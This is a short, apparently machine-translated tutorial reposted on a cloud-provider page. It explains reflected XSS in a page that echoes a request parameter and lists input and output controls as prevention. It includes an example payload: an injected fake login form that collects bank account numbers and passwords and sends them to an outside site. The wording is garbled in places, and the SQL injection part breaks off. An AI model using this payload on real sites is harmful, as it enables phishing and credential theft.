XSS vulnerability attack and prevention measures

Source: Internet
Author: User
Tags sql injection

Xss vulnerability attack and prevention measures
Xss is also called cross site scripting (css. A malicious attacker inserts malicious html code into a web page. When a user browses this page, the html code embedded in the web page is executed, this achieves the special purpose of malicious attacks to users.

Put a tag on the source page and write this. textlabel. text = request ["msg"] in the background page_load.

Build an attack to pass data to the target page after the attack

The build code is as follows:

Msg = <form action = 'http: // www.111cn.net 'method = 'get'> Bank account: <input type = 'text' name = 'id'/> password: <input type = 'text' name = 'pwd'/> <input type = 'submit 'value = 'login'/> </form>

, Solution
The most important thing is to increase awareness and strictly control input and output. The specific execution methods are as follows:

1. Perform reliable input verification on all submitted content by the input party. The submitted content includes url, query keyword, http header, and post data.
2. In terms of output, use the <xmp> label in the user's input content. The content in the label is not explained and displayed directly.
Third, strictly control the number of characters entered.
Fourth, there should be no user input in the script execution area.

========================================================== ==================
SQL injection
If the content submitted by the user contains a; number, the SQL statement will be truncated... and the consequence will be

 

After the page is loaded, execute login

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.